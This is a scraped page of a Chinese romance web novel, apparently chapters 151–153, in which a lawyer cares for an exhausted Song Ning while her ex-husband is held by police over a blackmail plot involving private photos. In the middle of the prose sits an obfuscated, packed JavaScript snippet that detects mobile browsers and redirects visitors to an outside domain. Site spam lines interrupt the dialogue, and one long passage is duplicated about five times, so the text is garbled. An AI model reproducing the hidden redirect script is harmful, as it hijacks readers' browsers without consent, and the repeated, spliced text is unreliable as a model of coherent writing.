她这一眼,再加上宋凝手腕和脚踝上的伤,傅学森和蒋秀兰也不是傻子,立马就猜出来了。 他们那个儿子**的不是别人,恐怕就是宋凝。 傅学森恨恨地说:“……也不知道东擎是被灌了什么**汤了,怎么就放不下那个扫把星。” 蒋秀兰则是立刻说:“澜澜,我们现在就去警局,交保释金,把东擎保释出来。” “妈,我刚刚问过了,警方说案件暂时还没查明,所以暂时还不能保释。” “不能保释?他知不知道东擎的身份啊?那么大一个公司都要他来管理,这期间出了损失他们小警局卖房卖地都不够赔的!走,澜澜别怕,我们跟你一起去警局问问,他们担不担得起这个责!” 蒋秀兰拉着林澜的手就要往外走,可林澜却一反常态,并不是很急切。 反而,小声地说了一句:“妈,我们还是不要去闹了,闹大了对东东和公司的影响都不好,那群记者又要乱写一气了。我相信东东是清白的,警方查明之后就会放他出来的。” “我的傻孩子啊,东擎他……他也是个傻孩子!怎么就被那个人迷惑了心智呢。” 蒋秀兰心里也知道,宋凝现在有丁予期在身边陪着,一般人下不了手,也不敢下手。 只有自家那个傻儿子,才会这么不顾一切…… “丁总。”宋凝轻轻叫了一声:“我们回去吧,这里好吵。” 丁予期微微“嗯”了一声,抱着她跨进了电梯里。 电梯门即将合上的瞬间,突然有一只很漂亮妩媚的手伸了进来。 电梯门再次打开,林澜的身影出现在门外。 丁予期饶有兴致地打量着她:“有何见教,林小姐?不对,现在或许应该叫你一声,傅太太?” 林澜也不似方才那一副清纯懵懂的乖巧模样,目光平静,嘴角还噙着一抹若有似无的笑意:“还要谢谢丁总栽培?” 丁予期看了一眼宋凝,低斥道:“有话快说。” 林澜看了一眼宋凝,轻声说道:“ 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 麻烦丁律给力点,最好让傅东擎这辈子都出不来。 丁予期对她的话似乎一点都不意外,也轻笑着:“这么狠啊?刚刚不是还一口一个东东。 “丁律,我们两个是同一类人,而且傅东擎进去了对你来说也是好事啊,你何乐而不为? 丁予期却说:“按照他目前的罪行,不足以判那么重。 “连你也办不到? “我只是律师,没有你想的那么大能量。 林澜轻蔑地笑了一下:“你们有钱人也是奇怪的很,一会儿可以一手遮天害的平民百姓家破人亡,一会儿又说自己能力有限办不到,我最烦的就是你们道貌岸然假惺惺的样子。 电梯门再一次缓缓合拢。 林澜对宋凝说:“宋小姐,其实我们不一定要当敌人,我们可以合作。 电梯合拢的瞬间,宋凝说:“我不跟害死雪球的始作俑者合作。 电梯完全关闭,上行。 宋凝看了一眼丁予期的下颌,轻声说:“你眼光不错。 丁予期垂眼,“你说林澜? “嗯。 “仇恨的力量是无穷的,丁予期说:“但她的结局注定是个悲剧。 宋凝问道:“她家里的情况我找**查过,跟你有关吗? “没有。 “那……跟傅东擎有关? 丁予期没有正面回答,只是说:“任何人的堕落,大部分原因都在于自身,外部条件只是一个催化剂罢了。 宋凝是真的累了。 几十个小时没合眼,还一直绷着一根弦。 到了64层的套房里,她想去洗个澡然后睡觉。 但丁予期不让。 “你身上的伤刚在医院擦过药,医生说不能碰水,我帮你擦擦脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141928|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和手脚,你先休息。 宋凝拗不过他,只能同意。 丁予期很快就端了一盆热水放在床边,细致地帮她擦干净了脸,又温柔地帮她洗了手脚,轻柔的擦干。 宋凝此时已经顾不上其他了,闷头就是睡,很快就沉入了黑甜的梦乡。 不知道是不是她的错觉。 从前只觉得住在64层的套房里还有些尴尬,但今天闻着枕头上淡淡的须后水味,她突然就有了种安心的感觉。 见她睡熟,丁予期从卧室退了出去,轻手轻脚的关上门。 瑞贝卡已经在客厅等他了。 “丁总,酒店的监控都已经存档好了,随时都可以送去 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 警局。” 丁予期现在在意的不是这个,他问道:“去查那艘游艇,傅东擎在S市没有任何产业,码头那边肯定有人接应他,我要知道那个人是谁。” “是,我这就吩咐下去。” “查到了之后,直接告诉我外公。” 瑞贝卡深吸了一口气,落在这位小丁总手里,顶多是生不如死。 但是陈老爷子铁血出身,可不是那种会阴着来的,人交到他手里,怕是要遭大罪了。 “是。” “对了,去准备点宋凝爱吃的东西,她这两天估计都没怎么吃好,不要海鲜,她身上有伤,不能吃发物。” “好,我这就去准备。” …… 宋凝醒来的时候,天色已经完全黑了下来。 她有一瞬间的恍惚,不知道自己是睡到了晚上,还是睡到了第二天的晚上。 太累了的结果就是连梦都没做,时间就跟被人拖动到了几小时后一样,她一点记忆都没有。 丁予期进来的时候,看到的就是她脸上睡的都是压痕,拥着被子坐着。 他端着个托盘走过去说:“知道你没胃口,不逼你吃东西,先喝点水吧。” 托盘上是一个冒着热气的瓷杯和一小罐已经开封的蜂蜜,旁边还有搭在筷托上的瓷勺。 宋凝望着如此有仪式感的一幕,蹙着眉心扬起脸问:“这是?” 第一百五十二章 万事有我 许是因为在房间里休息过一番的缘故,她面上多少恢复了几分血色。 只是目光仍旧飘忽,不是想什么事想的太过出神,就是受到过度,所以到现在都还没缓过来。 丁予期每次见她难受一分,眉心紧紧拧了一下。 他在她身侧坐下,将杯子递到她手里说:“我给你准备了一点蜂蜜水,喝了能安神,不过我知道你不喜欢太甜的,所以没有放太多蜂蜜进去。” 他想的周到,准备的更是齐全。 “谢谢。”宋凝端起杯子抿了一口,垂眸道,“那个……我能拜托你一件事么?” “不能。” 宋凝:“……” 丁予期无奈地叹了口气:“以后别问能不能,直接说事。” 或许是觉得自己不该这么时候跟她斗嘴,丁予期也有些后悔。 “……这些年跟你斗嘴习惯了,以后不会了。”他把蜂蜜水递给她:“先喝点水润润嗓子再说。” 宋凝接过,蜂蜜水很清甜,喝完的确感觉干涸的喉咙舒服了不少。 见她一口气喝完,丁予期伸出手接过了杯子,又抽出纸巾给她擦了擦嘴角残留的水渍。 只要能让她觉得好受一点,他怎么样都是无所谓的。 宋凝凝望着他的眼睛说:“我现在满脑子都是那些不堪入目的照片,我在想有没有什么办法可以彻底解决?” 吃饱睡足,她眸底隐藏多时的愁绪也显现了出来,但那并非是遭遇过危险后的害怕,而是真情实感的担忧,甚至想的还是与她自己无关,完全在为朋友考虑的事。 丁予期悬着的心略略舒展开来,同时神情苦涩的笑了一下:“我总不能雇人去把他手机偷出来吧?真要偷也不是不行,但谁能保证这些照片没有被备份?” 宋凝经历过这许多事之后,已经很清楚不是所有事都能被圆满解决了,可事关唐婷,她还是想争取一下:“打官司的话有胜算么?让法官监督他全部删除,这样行么?” 丁予期理解她的心情,但还是只能轻而坚定的摇头道:“有,但就算赢了隐私权的官司,事情也还是会被闹大,尤其媒体记者无孔不入,而且那些照片的经手人……或许不仅仅是傅东擎,你明白我的意思吗?” 他当初之所以会选择成为律师,就是为了能在她需要他的时候及时出现并且派上用场,可这件事已经超出了他的职业能力范畴,根本不可能用正常手段解决。 唐婷的职业是女明星,这无疑是个巨大的劣势。 当时傅 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 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凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 东擎带了不少保镖去,他的助手小何也在场。 宋凝喝着温热的蜂蜜水,可心里却是越来越苦,她皱着眉头直发愁:“傅东擎不会善罢甘休的,他现在铁了心要纠缠到底,这次我就这么走了,他会不会真的狗急跳墙,把照片散播出去?” 她一想到此事中留下的隐患就后悔的不得了,她当时就应该让唐婷不要回酒店的,一直住在剧组里。 丁予期抬手抚上她眉心,作势抚平道:“我倒是认为你现在不需要担心这个问题。” 宋凝疑惑的问:“为什么?” 从某种意义上讲,傅东擎其实是了解她的。 他知道她都在乎哪些人就等于是掌握了她的软肋,而现在只要他用照片威胁她,情况就会再次变得被动。 而现在傅东擎可以威胁到她的,也就只有那些照片了。 丁予期明白宋凝心中所想,循序渐进的安慰道:“照片迟早会拿回来销毁,但现在时机未到,你先别着急,肯定会有办法的。” 宋凝自认为已经够有耐心了,可听到这话也还是忍不住问:“那要等到什么时候?” “我目前还不知道,但我可以向你保证,那一天不会太远了。”他继续说道:“你想想看,傅东擎手里的筹码不过就是这些照片罢了,他之所以大张旗鼓的胁迫你去公海,就是因为他除此之外再没有别的筹码,所以他不会轻易把筹码出完的。” 凡是打过扑克的人都会明白这个道理,若是提前把看中的牌打出去,这局就输定了。 宋凝原本还火急火燎的一颗心总算因为这话降了温。 她试着让自己冷静下来,分析起了眼下的情形:“你说的有道理,如果换成我是傅东擎,也一定会在计划被破坏后等待更稳妥的机会。” 这个念头让她感到毛骨悚然,是再次意识到她从前的枕边人是怎样恶毒冷血的魔鬼,哪怕手里还捧着温热的瓷杯,也仍旧感到从骨髓里涌出的冷意。 人性的阴暗面比任何鬼故事都来得更吓人。 丁予期做律师的那几年里见多了这样的无耻之徒,为了不让宋凝继续沉浸在负面情绪里自我折磨,他等她放下瓷杯后就牵起她的手说:“好了,不要再想这些了,你现在应该好好睡一觉。” “可我不困,现在根本就睡不着。”宋凝脑海里的思绪纷乱至极,让她觉得就算此时有人一棍子把她打晕,她所回想起的场面也一定是目前没能完成的事。 “困不困和需不需要休息是两码事,公海上的风那么大,你当时穿的又单薄,精神上又高度紧绷,必须得好好休息才行,否则时机未到,你又先病倒的话,真不知道到时候该先顾着谁。” 丁予期这句话说到了点子上,他见宋凝眸光微微一动,应该是把他的话听进去了,于是顺势弯下腰去,将她打横抱到了怀里。 宋凝被这突如其来的变故吓了一跳,可还不等她把话问出口,他已经把她放到软柔的床上去了,又顺手扯过被子,不仅展开来给她盖在身上,而且还仔细掖住了两侧的缝隙。 酒店提供的被子软柔的像是宋凝想象中云朵的触感,她以为自己没有困意,可等被丁予期连着被子一起搂进怀里之后,却是很快就开始上下眼皮打架了。 “对了,还有大拿的伤……” 她想说自己还有别的放不下的事,但丁予期直接关了床头的壁灯,在黑暗中打断道,“你现在最需要做的就是睡觉,其他的事既不必想更不用管,万事都有我。” 第一百五十三章 好好睡,明天见 房间里的遮光帘质量绝佳,哪怕酒店位于繁华的市中心,在拉上帘子后也照样将全部光源都隔绝在外,绝不会有光线照到室内,影响客人入住体验的情况发生。 宋凝本来就困,等听到这话却是短暂的回了神,她强忍住倒头就睡的冲动,勉强维持着清醒说:“我还是得去看看大拿,如果不是他拼尽全力来救我,我现在恐怕不知道在哪里漂着呢。” 从傅东擎的表现来看,他是真的对大拿起了杀意,而宋昭清楚的记得大拿从她眼前离开时那满身的血迹。 丁予期见她还跟从前一样善良,并未因为大拿跟她交集不多就忘记对方的事,宽慰道:“放心吧,大拿战斗经验丰富,没什么大碍,就算你不说,明天我也要去看他的。” 